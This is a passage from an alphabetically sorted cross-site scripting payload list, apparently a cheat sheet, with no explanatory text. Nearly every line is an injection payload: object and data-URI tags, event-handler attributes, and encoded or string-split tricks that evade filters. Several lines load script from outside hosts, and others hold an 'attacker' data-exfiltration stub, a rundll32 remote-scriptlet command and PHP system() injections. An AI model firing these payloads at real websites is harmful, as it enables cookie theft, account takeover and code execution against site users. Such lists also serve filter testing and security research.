<OBJECT classid=clsid:ae24fdae-03c6–11d1–8b76–0080c744f389><param name=url value=javascript:confirm(document.location)></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6–11d1–8b76–0080c744f389><param name=url value=javascript:document.vulnerable=true></object>
<OBJECT classid=clsid:ae24fdae-03c6–11d1–8b76–0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>
<OBJECT classid=clsid:…” codebase=”javascript:alert(‘1’);”>
<object classid=”clsid:…” codebase=”javascript:document.vulnerable=true;”>
<object data=//0me.me/demo/1/1project.swf?js=alert(document.domain);allowscriptaccess=always></object>
<object data=//0me.me/demo/1/1project.swf?js=alert(document.domain); allowscriptaccess=always></object> // Soroush Dallili
<object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22>
<object data=”data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==”type=”image/svg+xml”></object>
<object data=”data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB 4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy 8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==” type=”image/svg+xml”></object> // Firefox only
<object data=”data:text/html;base64,%(base64)s”>
<object data=’data:text/html;base64,PFNDUklQVD5hbGVydCgnUkVOV0FYMjMnKTs8L1NDUklQVD4=’ /src>
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik></object>
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
><object data=’data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=’></object>”
“\”\/><object data=’data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=’></object>”
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=”>
<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=”> // Firefox only
<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgvaW5zaWdodC1sYWJzLyk8L3NjcmlwdD4=”>
<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
<object+data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data=’data:text/xml,<script xmlns=”http://www.w3.org/1999/xhtml “>confirm(1)</script>>’>
<object/data=//goo.gl/nlX0P>
<object/data=//goo.gl/nlX0P?
<object/data=??//goo.gl/nlX0P??>
<object data=”http://excis3.be/bugbounty/evil.js">?
<object data=”http://excis3.be/bugbounty/evil.js">
“><object data=”http://excis3.be/bugbounty/evil.js">
<OBJECT data=http://1.ha.ckers.org width=400 height=400 type=text/x-scriptlet”>
<object data=”javascript:alert(0)”>
<object+data=”javascript:alert(0)”>
<object data=”javascript:alert(1)”>
<object data=javascript:alert(1)> *
<object data=javascript:alert(1)> 
<object data=javascript:alert(1)>
<object data=javascript:alert(172)> 
<object data=”javascript:alert(1)”> // FF <object/data=”javascript&colon;alert(1)”> // FF <object data=”&#x6A;avascript&colon;alert(1)”>
<object data=”javascript:alert(document.domain)”>
<object/data=”javascript&colon;alert(1)”>
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)> 
“/><object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<object data=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
<object data=//pkav/test.swf><param name=movie value=//pkav/test.swf><param name=allowscriptaccess value=always></object>
<object data=”&#x6A;avascript&colon;alert(1)”>
<object data=”&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&# x72;&#x74;&#x28;&#x31;&#x29;”>
<object data=”&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;”>
Object.defineProperties(window,{‘location’:{value:’javascript:alert(1)’}})
Object.defineProperty(location,’href’,{writable:false})
<object id=”x” classid=”clsid:CB927D12–4FF7–4a9e-A169–56E4B8A75598"></object>
<object id=”x” classid=”clsid:CB927D12–4FF7–4a9e-A169–56E4B8A75598"></object> <object classid=”clsid:02BF25D5–8C17–4B23-BC80-D3488ABDDC6B” onqt_error=”javascript:alert(1)” style=”behavior:url(#x);”><param name=postdomevents /></object>
[Object[“keys”](this)[146]](1)
[Object[“keys”](this)[5]](1)
<object onafterscriptexecute=confirm(0)>
<object onbeforeload object onbeforeload=”javascript:javascript:alert(1)”></object onbeforeload>
<object onbeforescriptexecute=confirm(0)>
<object onerror=alert(1)>
<object onError object onError=”javascript:javascript:alert(1)”></object onError>
<object onfocus=popup=1;>
<object><param name=”src” value=
<object><param name=”src” value=”javascript:alert(0)”></param></object>
Object.prototype[Symbol.toStringTag]=’<svg/onload=alert(1)>’;location=’javascript:1+{}’
Object.prototype[Symbol.toStringTag]=’<svg/onload=alert(1)>’;while(1){}location=’javascript:1+{}’
/* ?]]>%>?></object></script></title></textarea></noscript></style></xmp>’-/”///><img id=”b1" src=1 onerror=’$.getScript(“http://1.cx.js", function() { c(); });’>’
<object src=1 href=1 onerror=”javascript:alert(1)”></object>
<object type=’text/x-html’ data=’javascript:prompt(/1/.source);var x = prompt;x(0);x(/1/.source);x’></object>
“<object type=’text/x-html’ data=’javascript:prompt(/1/.source);var x = prompt;x(0);x(/1/.source);x’></object>”
“><object type=’text/x-html’ data=’javascript:prompt(/1/.source);var x = prompt;x(0);x(/1/.source);x’></object>”,
“/><object type=’text/x-html’ data=’javascript:prompt(/1/.source);var x = prompt;x(0);x(/1/.source);x’></object>
<OBJECT TYPE=”text/x-scriptlet” DATA=”http://hacker.com/1.html">
<;OBJECT TYPE=”;text/x-scriptlet”; DATA=”;http://ha.ckers.org/scriptlet.html";>;<;/OBJECT>;
<OBJECT TYPE=”text/x-scriptlet” DATA=”http://ha.ckers.org/scriptlet.html"></OBJECT>
 <OBJECT TYPE=”text/x-scriptlet” DATA=”http://ha.ckers.org/scriptlet.html"></OBJECT>
<object type=”text/x-scriptlet” data=”http://jsfiddle.net/XLE63/ “></object>
“/><object type=”text/x-scriptlet” data=”http://jsfiddle.net/XLE63/ “></object>
<OBJECT TYPE=”text/x-scriptlet” DATA=”http://www.securitycompass.com/scriptlet.html"></object>
<OBJECT TYPE=”text/x-scriptlet” DATA=”http://1.cx/scriptlet.html"></OBJECT>
<OBJECT TYPE=”text/x-scriptlet” DATA=”http://xxxx.com/scriptlet.html"></OBJECT>
<OBJECT TYPE=”text/x-scriptlet” DATA=”%(scriptlet)s”></OBJECT>
* {-o-link:’javascript:alert(1)’;-o-link-source: current;}
/”onafterscriptexecute=alert(‘1’) 1=’
“ onblur=alert(1) autofocus a=”
“onblur=alert(1)autofocusa=”
onblur=alert(1) autofocus a=
“ onblur=alert(1) “> <”
“onBlur=”&#x061;&#x06c;&#x065;&#x072;&#x074;&#x028;&#x027;&#x058;&#x053;&#x053;&#x027;&#x029;”
_.once(alert(9))
onclick=’addUser(“23&#000000000034)-alert(1)//”)’
onclick=’addUser(“23&quot)alert(1)//”)’
(/* */oNcliCk=alert() )
“onclick=alert(1)//
onclick=alert(1)
‘“/onclick=’alert(1)’/accesskey=’X’
“ onclick=alert(1)//<button ‘ onclick=alert()//>
 onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
“ onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
?? onclick=alert(1)//<button ?? onclick=alert(1)//> */ alert(1)//
onclick=alert(1)//<button ?? onclick=alert(1)//> */ alert(1)//
“ onclick=alert(1)//”>click
“ onclick=alert()//<button ‘ onclick=alert()//> */ alert()//<img style=”background-url=eval(onclick)” onclick=alert()>//>
onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/alert(1)
“ onclick=alert(1) “>
“onclick=”alert(‘1’)”
onclick=”delFeedback(‘2&apos)alert(1)//’)”
onclick=”elements[0].value=’<a/href=’%2BURL%2B’>link</a>’;submit()”>
onclick=”elements[0].value=’<a/href=’%2BURL%2B’>link</a>’;submit()”
onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source);
onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>”
“onContextMenu=”&#x000061;&#x00006c;&#x000065;&#x000072;&#x000074;&#x000028;&#x000027;&#x000058;&#x000053;&#x000053;&#x000027;&#x000029;”
“onCopy=”&#x00061;&#x0006c;&#x00065;&#x00072;&#x00074;&#x00028;&#x00027;&#x00058;&#x00053;&#x00053;&#x00027;&#x00029;”
“oncut=alert(1)
“onDblClick=”&#119;indow[‘aleraaaat’.re&#0112;lace(‘aaaa’,’’)](‘XaaaaSaaaaS’.re&#0112;lace(‘aaaa’,’’).re&#0112;lace(‘aaaa’,’’))”
‘/(ondblclick|onclick|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup|onload|onunload|onerror)=[^<]*(?=\>)/Uis’,
“+onDblClick=prompt(1)”+
?onend=javascript:alert(1)//”,
onerror%3Deval%3Bthrow’%3Dalert%5Cx281%5Cx29'%3B
“onerror=alert(1)//
‘onerror=’alert(‘1’)’ a=’.jpg
;onerror=confirm;throw 1;
onerror=confirm;throw 1;
onerror=’eval(atob(“cHJvbXB0KDEpOw==”))’>
onerror=eval;throw’=confirm\x281\x29';
“+onError=prompt(1)”+
one={{set(‘_factoryArgs.0’,’script’)}}
“ onfocus=alert(document.domain) “> <” 
“ onfocus=alert(document.domain) “> <”
“ onfocus=alert(1) “> <”
“ onfocusin=alert(1) autofocus x=”
“onfocusin=alert(1)autofocus x=”
onfocusin=alert(1) autofocus x=
“onfocusin=”top[‘\x61\x6C\x65\x72\x74’](‘\x58\x53\x53’)”
 onfocus=JaVaSCript:alert(1) autofocus
‘ onfocus=JaVaSCript:alert(1) autofocus
“ onfocus=JaVaSCript:alert(1) autofocus
onfocus=location=window.name//&#039;
“ onfocusout=alert(1) autofocus x=”
“onfocusout=alert(1)autofocus x=”
onfocusout=alert(1) autofocus x=
“onfocusout=”parent[String.fromCharCode(500–403,500–392,500–399,500–386,500–384)](String.fromCharCode(300–212,300–217,300–217))”
“+onfocus=”prompt(1)”+
“ onfocus=prompt(1) autofocus fragment=”
“onfocus=”window[‘\141\154\145\162\164’](‘\130\1\1’)”
“ onfocus=”write(unescape(‘&#60;’)+’script src=’+unescape(‘&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;’)
“ onhover=”j&#x61;vascript:&#x61;lert(-1)”
“onKeyDown=”&#00112;arent[‘aleraaaaat’.replace(‘aaaaa’,’’)](‘XaaaaaSaaaaaS’.replace(‘aaaaa’,’’).replace(‘aaaaa’,’’))”
onkeydown=function(){ http://window.open ('//example.com/','_blank','a');}
onkeydown=function(){ http://window.open (‘//example.com/’,’_blank’,’a’);
onkeypress=function(){ http://window.open (‘about:blank’,’_blank’).close();}
onkeypress=function(){ http://window.open (‘about:blank’,’_blank’).close();
“+onkeypress=”prompt(23)”+
“onload=”a=document.createElement(‘script’);a.setAttribute(‘src’,String.fromCharCode(104,116,116,112,58,47,47,109,97,108,101,114,105,115,99,104,46,110,101,116,47,97,46,106,115));document.body.appendChild(a)
 onload=alert(1)>
‘onload=alert(153)><svg/153=’
‘onload=alert(1)><svg/1=’
onload=confirm(1)//
onload=forms[0].submit()></iframe><form method=POST
“onMouseDown=”&#00097;&#000108;&#000101;&#000114;&#000116;&#00040;&#00039;&#00088;&#00083;&#00083;&#00039;&#00041;”
“onMouseEnter=”&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000039;&#000088;&#000083;&#000083;&#000039;&#000041;”
“OnMouseEnter=”confirm()//
onmouseenter=prompt(document.domain)
“onMouseLeave=”&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;”
“onMouseMove=”&#097;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#088;&#083;&#083;&#039;&#041;”
“onMouseOut=”&#0097;&#00108;&#00101;&#00114;&#00116;&#0040;&#0039;&#0088;&#0083;&#0083;&#0039;&#0041;”
 onmouseover
On Mouse Over
“onmouseover=”alert(1)
“onmouseover=alert(1)//
“ onmouseover=”alert(4321)” blah=”
“onmouseover=alert(77)//
‘ onmouseover=alert(/Black.Spook/)
“ onmouseover=alert(1) “>
“ onmouseover=”confirm(1)”style=”position:absolute;width:100%;height:100%;top:0;left:0;”
‘ onmouseover=confirm(document.location)
 onmouseover=”document.cookie=true;”>//INJECTX
“onmouseover=”(new Function(‘rssseturn(alesssrt)’.&#x73plit(‘sss’).joi&#x6e(‘’)))()((‘SXS’+’SXS’).slice(-5,4))”
“ onmouseover=”prompt(0) x=”
“onmouseover=”prompt(0)x=”
onmouseover=prompt(100) bad=’
onmouseover=prompt(document.domain
“+onmouseover=”window.location=’http://localhost'
“onMouseUp=”wi&#110dow[Str&#105;ng.fromC&#104;arCode(501–404,501–393,501–400,501–387,501–385)]&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000039;&#0000041;”
onreadystatechange=”alert(1)”>1</div>
onreadystatechange=”alert(2)”>2</div>
“+onReset=prompt(1)”+
“onresize=prompt(1)>
onscroll=alert(‘1’)>
“onSelect=”&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0058;&#x0053;&#x0053;&#x0027;&#x0029;”
onxxx=yyy
<o/onmouseover=o=prompt,o``>o
open(c2.canvas.toDataURL())
open(‘java’+’script:ale’+’rt(11)’);
open`javascript:alert(1)//#${‘_self’}`
open(name)
open(‘’,’_self’).alert(1)
Opera:<style>*{-o-link:’data:text/html,<svg/onload=alert(/@garethheyes/)>’;-o-link-source:current}</style><a href=1>aaa 
<option>’><button><img src=x onerror=confirm(0);></button></option>
“<option>’><button><img src=x onerror=confirm(0);></button></option>”
><option>’><button><img src=x onerror=confirm(1);></button></option>
“\”\/><option>’><button><img src=x onerror=confirm(1);></button></option>”,
oscriptaalert(?F1?F)o/scripta
“o<x>nmouseover=alert<x>(1)//
o={x:’’+<s>eva</s>+<s>l</s>,y:’’+<s>aler</s>+<s>t</s>+<s>(1)</s>};function f() { 0[this.x](this.y) }f.call(o);
<p/%0Aonmouseover%0A=%0Aconfirm(1)>renwax23
p=%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.textContent>click me!
?page=javascript:alert(1)”
p=-alert(1)}//\
p=`-alert(1)”>’onload=”`<svg/1=’
p=*/alert(1)”>’onload=”/*<svg/1=’
p=*/alert(1)</script><script>/*
p=>alert(1)</script><script/1=
p=’>alert(1)</script><script/1=’
?param1=<script>prompt(9);/*&param2=*/</script>
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
/?param=javascript:alert(document.cookie)
<param name=url value=https://l0.cm/1.swf>
$.parseHTML(‘<img src=xx:X onerror=confirm(1)>’)
parseInt(“confirm”,30) == 8680439 && 8680439..toString(30) == “confirm”
parseInt(“prompt”,36);
<path d=”M0,0" style=”marker-start:url(test4.svg#a)”/>
PATH_INFO:/<link rel=import href=”/bypass/path/<script>alert(1)</script>”>
<p class=”comment” title=”*/eval(y);/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=””onload=’/*”></p>
<p class=”comment” title=”*/prompt(1)’”></p>
<p class=”comment” title=””><script>/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=”*/</script>” data-comment=’{“id”:1}’></p>
<p class=”comment” title=””><svg/a=”></p>
<p class=”comment” title=”*/x[0]=’a’;/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=”*/x[1]=’l’;/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=”*/x[2]=’e’;/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=”*/x[3]=’r’;/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=”*/x[4]=’t’;/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=”*/x[5]=’(‘;/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=”*/x[6]=’1';/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=”*/x[7]=’)’;/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=”*/x=new Array();/*” data-comment=’{“id”:1}’></p>
<p class=”comment” title=”*/y=x.join(‘’);/*” data-comment=’{“id”:1}’></p>
p.coords.longitude+’,Altitude:’+p.coords.altitude);})
perl -e &#039;print \”;<;IMG SRC=java\0script:alert(\”;1\”;)>;\”;;&#039; >; out
perl -e &#039;print \”;<;SCR\0IPT>;alert(\”;1\”;)<;/SCR\0IPT>;\”;;&#039; >; out
perl -e ‘print “<IMG id=1 SRC=java\0script:alert(\”1\”)>”;’ > out
perl -e ‘print “<IMG />”;’ > out
perl -e ‘print “<IMG SRC=java\0script:alert(“1”)>”;’> out
perl -e ‘print “<IMG SRC=java\0script:alert(“1”)>”;’ > out 
perl -e ‘print “<IMG SRC=java\0script:alert(\”1\”)>”;’ > out
perl -e ‘print \”<IMG SRC=java\0script:alert(\”1\”)>\”;’ > out
perl -e ‘print “<IMG SRC_NeatHtmlReplace=”java\0script:alert(\&quot;1\&quot;)”>”;’ > out
perl -e ‘;print “;<;IM SRC=java\0script:alert(“;1”;)>”;;’;>; out
perl -e ‘print \”&lt;IMG SRC=java\0script&#058;alert(\\”1\\”)&gt;\”;’ &gt; out
perl -e ‘print \”&lt;SCR\0IPT&gt;alert(\\”1\\”)&lt;/SCR\0IPT&gt;\”;’ &gt; out
perl -e ‘print “&lt;SCR\0IPT&gt;alert(\”1\”)&lt;/SCR\0IPT&gt;”;’ > out
perl -e ‘print “<NeatHtmlLt />&lt;SCR\0IPT>alert(\”1\”)<NeatHtmlLt />&lt;/SCR\0IPT>”;’ > out
perl -e ‘;print “;&;<;SCR\0IPT>;alert(“;1”;)<;/SCR\0IPT>;”;;’; >; out
perl -e ‘print “<SCR\0IPT>alert(“1”)</SCR\0IPT>”;’ > out 
perl -e ‘print “<SCR\0IPT>alert(\”1\”)</SCR\0IPT>”;’ > out
perl -e ‘print “&<SCR\0IPT>alert(“1”)</SCR\0IPT>”;’ > out
perl -e ‘print \”<SCR\0IPT>alert(\”1\”)</SCR\0IPT>\”;’ > out
?pg=javascript:alert(1)”,
<p hidden?={{hidden}}>1</p>
PHNjcmlwdD5hbGVydCgnWFNTIScpPC9zY3JpcHQ+
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
PHP a = val2
<?php echo $_SERVER[‘PHP_SELF’]?>
<?php header(“Access-Control-Allow-Origin: *”); ?>
<?php header(??Access-Control-Allow-Origin: *??); ?>
<?php header(Access-Control-Allow-Origin: *); ?>
<?php header(‘content-type:text/html;charset=utf-7-utf-8-shift_jis’);?>
phpmyadmin/js/canvg/flashcanvas.swf?id=test\));}catch(e){alert(document.domain)}//
“><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme
“><p id=””onmouseover=\u0070rompt(1) //
<p id=”x”>AAA</p>
<p id=x>javascrip<x>t:alert(<x>1)</p><math><a href=”#*/=x.innerText,a” xml:base=javascript:location/*>Click HERE
<p id=x>javascrip<x>t:alert(<x>2)</p><math><a href=”#*/=x.innerText,a” xml:base=javascript:location/*>Click HERE
<p><img class=”reference” contenteditable=”false” data-refid=”2" data-type=”reference” onerror=”eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,56,46,110,101,116,47,63,99,61,81,105,104,97,76,34))” src=”http://img.baidu.com/img/baike/editor/reference.gif" unselectable=”on” /></p>
<p><img src=”https://attacker/?data=</p>
p=<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!
p=<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>
p=<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>
<pkav xmlns=”><iframe onload=alert(1)”>1</pkav>
<plaintext>
<plaintext/onmousemove=prompt(1)>renwa
?playerID=a\”;))}catch(e){confirm(document.domain)}//
?playerready=alert(document.cookie)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
plupload.flash.swf?%#target%g=alert&uid%g=1&
<p onbeforescriptexecute=”alert(1)”><svg><script>\</p>
<p/onclick=alert(/INJECTX/)>a
<p oncut=alert(1)>A
<p/oncut=alert(1)>A
 p=’onload=alert(1)><svg/1=’
<p onmouseover=alert(/1/)>xxx</p>
<p/onmouseover=javascript:alert(1); >M</p>
{{[].pop.constructor(‘alert()’)()}}
p=\&q=-alert(1)//
preg_replace(/on\w+\s*=|\>/i, -, $_REQUEST[q]);
preg_replace(/\<script|=/i, -, $_REQUEST[q]);
prerequisite: \” => \\\”
previousSibling.nodeValue, document.body.textContent*
print ctx.eval(u”’\N{HEAVY BLACK HEART}’”)
${@print(system(a?whoamia?))}
${@print(system(??dir??))}
${@print(system($_SERVER[‘HTTP_USER_AGENT’]))}
process.open(“/Applications/Calculator.app/Contents/MacOS/Calculator”);
prompt(0x0064)
‘?prompt`1`?’
‘*prompt(1)*’
p’rompt(1)
prompt(1)-eval(JSON.parse(name).input)
“(prompt(1))in”
;prompt(1)//??;prompt(2)//??;prompt(3)//?V></SCRIPT>??>??><SCRIPT>prompt(4)</SCRIPT>
“^prompt(9)^”
“<<prompt(9)<<”
“<=prompt(9)<=”
“<prompt(9)<”
“===prompt(9)===”
“==prompt(9)==”
“>=prompt(9)>=”
“>>>prompt(9)>>>”
“>>prompt(9)>>”
“>prompt(9)>”
“||prompt(9)||”
“|prompt(9)|”
“-prompt(9)-”
“!=prompt(9)!=”
“?prompt(9):”
“/prompt(9)/”
“*prompt(9)*”
prompt(9)
prompt`${document.domain}`
prompt(location.hash)
//prompt.ml%2f@??
//prompt.ml%2f@?.ws/?
prompt = p\u0072om\u0070\u0074
Prompt = p\u0072om\u0070\u0074
prompt(‘1’)
protected $_expressions = array(
prototype.join=function(){confirm(“PWND:”+document.body.innerHTML)}’)();
p=*/</script>’>alert(1)/*<script/1=’
p[<script>`]=`/alert(70)</script>
<P><SPAN class=xmsw title=~?O? onmo&#117;&#115;eout=”window.loca&#116;ion=’http://www.xfydyt.com'">F?A?~M</SPAN></P>
<P STYLE=”behavior:url(‘#default#time2’)” end=”0" onEnd=”javascript:alert(1)”>
<p style=”font-family:’ar\27 \3bx\3a expression\281\28\29\29\3bial’;”></p>
<p style=”font-family:’foo&amp;#x5c;27&amp;#x5c;3bx:expr&amp;#x65;ession(confirm(1))’”>
<p style=overflow:auto;font-size:1000px onscroll=alert(33)>script<k/id=die>
p=<svg/1=’&q=’onload=alert(1)>
p=<svg 1=’&q=’onload=’/*&r=*/alert(1)’>
p=<svg 1=’&q=onload=’/*&r=*/alert(1)’>
p=<svg id=?p=<script/src=//brutelogic.com.br/1%2B onload=location=id>
p=<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>
*&p=<svg/onload=eval(0+location.search)>&*/1:alert(document.domain)
*&p=<svg/onload=eval%280%2Blocation.search%29>&*/1:alert%28document.domain%29
“‘`><p><svg><script>a=’hello\x27;javascript:alert(1)//’;</script></p>
<p>This is a secret text.</p>
pune<script>alert(document.cookie)</script>
=pwned<svg/onload=prompt(‘1\u0020via\u0020sql\u0020injection’)>
p=’/wp-admin/plugin-editor.php?’
<?PXML><html:script>alert(29)</html:script>
<PXML><html:script>alert(30)</html:script>
?q=<body style=overflow:auto;height:1000px onscroll=alert(1337) id=x>
?q=%ED%A0%80\”))}catch(e){alert(1)}//
q=e=>{return e};q.constructor(String.raw(q`a${0}e${0}t${0}1337)`,’l’,’r’,’(‘))();
<Q%^&*(?G@!???? style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#1)>
<q/oncut=alert()>
<q/oncut=alert(1)>
<q/oncut=confirm()
<q/oncut=open>
<q/oncut=open()>
‘/><q/oncut=open()>//
Qp4LnNlbmQoJCk=
>&quot;&gt;&lt;script&gt;confirm(&#039;hi&#039;)&lt;/script&gt;&quot;&lt;</a>value=””><script>confirm(‘hi’)</script>”<”/>
RbYnJ1dGVdYDsmYWN0aW9uPXVwZGF0ZSYnK2YNCngub3BlbignUE
React.createElement
{{!ready && (ready = true) && (!call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (‘’+’’.toString(‘F = Function.prototype;’ + ‘F.apply = F.a;’ + ‘delete F.a;’ + ‘delete F.valueOf;’ + ‘alert(1);’)));}}
<rect fill=”white” style=”clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);”/>
<rect width=??1000?? height=??1000?? fill=??white??/></a></svg>
Reflect.set(location, ‘href’, ‘javascript:alert(1)’)
.replace(/.+/,eval)//
res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210
**/ression(alert(/1/))”>1</div>
Result => javas + cript: + ale + rt + ( + 1 + )
Result => javas + cript: + ale + rt + (1)
Result => javascript:alert(1)
Result => javascript: + /*click me! + #*/alert(1)
Result => javascript: +’click me! + #’-alert(1)
Result => javas + script: + ale + rt + (1)
Results for <?php echo $_GET[‘q’];?>”:
return bindingFunction(bindingContext,node);
return new Function(“$context”,”$element”, functionBody);
“‘<>\r\n\ being escaped
) = &rpar;
(_+`rt(let)`)``
rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;o=GetObject(“script:http://goo.gl/jApjhr “);o.Exec();close();
<s “‘“=”” 000=””>
“‘“><s/000 “‘“><s/000
<s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e&#60&#115&#62&#51&#51&#51&#60&#47&#115&#62&#x3c&#x73&#x3e&#x34&#x34&#x34&#x3c&#x2f&#x73&#x3e
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
<S% 00c% 00r% 00% 00ip% 00t> confirm (0); </ s% 00c% 00r% 00% 00ip% 00t>
<S[0x00]CRIPT>confirm(1)</S[0x00]CRIPT>
s1=0?’1':’i’; s2=0?’1':’fr’; s3=0?’1':’ame’; i1=s1+s2+s3; s1=0?’1':’jav’; s2=0?’1':’ascr’; s3=0?’1':’ipt’; s4=0?’1':’:’; s5=0?’1':’ale’; s6=0?’1':’rt’; s7=0?’1':’(1)’; i2=s1+s2+s3+s4+s5+s6+s7;
s1=0?’’:’i’;s2=0?’’:’fr’;s3=0?’’:’ame’;i1=s1+s2+s3;s1=0?’’:’jav’;s2=0?’’:’ascr’;s3=0?’’:’ipt’;s4=0?’’:’:’;s5=0?’’:’ale’;s6=0?’’:’rt’;s7=0?’’:’(1)’;i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i);
s1=’java’||’’+’’;s2=’scri’||’’+’’;s3=’pt’||’’+’’;
s1=[‘java’||’’+’’]; s2=[‘scri’||’’+’’]; s3=[‘pt’||’’+’’];
s1=[‘java’+’’+’’+’scr’+’ipt’+’:’+’aler’+’t’+’(1)’];
s1=’’+’java’+’’+’scr’+’’;s2=’’+’ipt’+’:’+’ale’+’’;s3=’’+’rt’+’’+’(1)’+’’; u1=s1+s2+s3;URL=u1
s1=’’+’java’+’’+’scr’+’’;s2=’’+’ipt’+’:’+’ale’+’’;s3=’’+’rt’+’’+’(1)’+’’;u1=s1+s2+s3;URL=u1
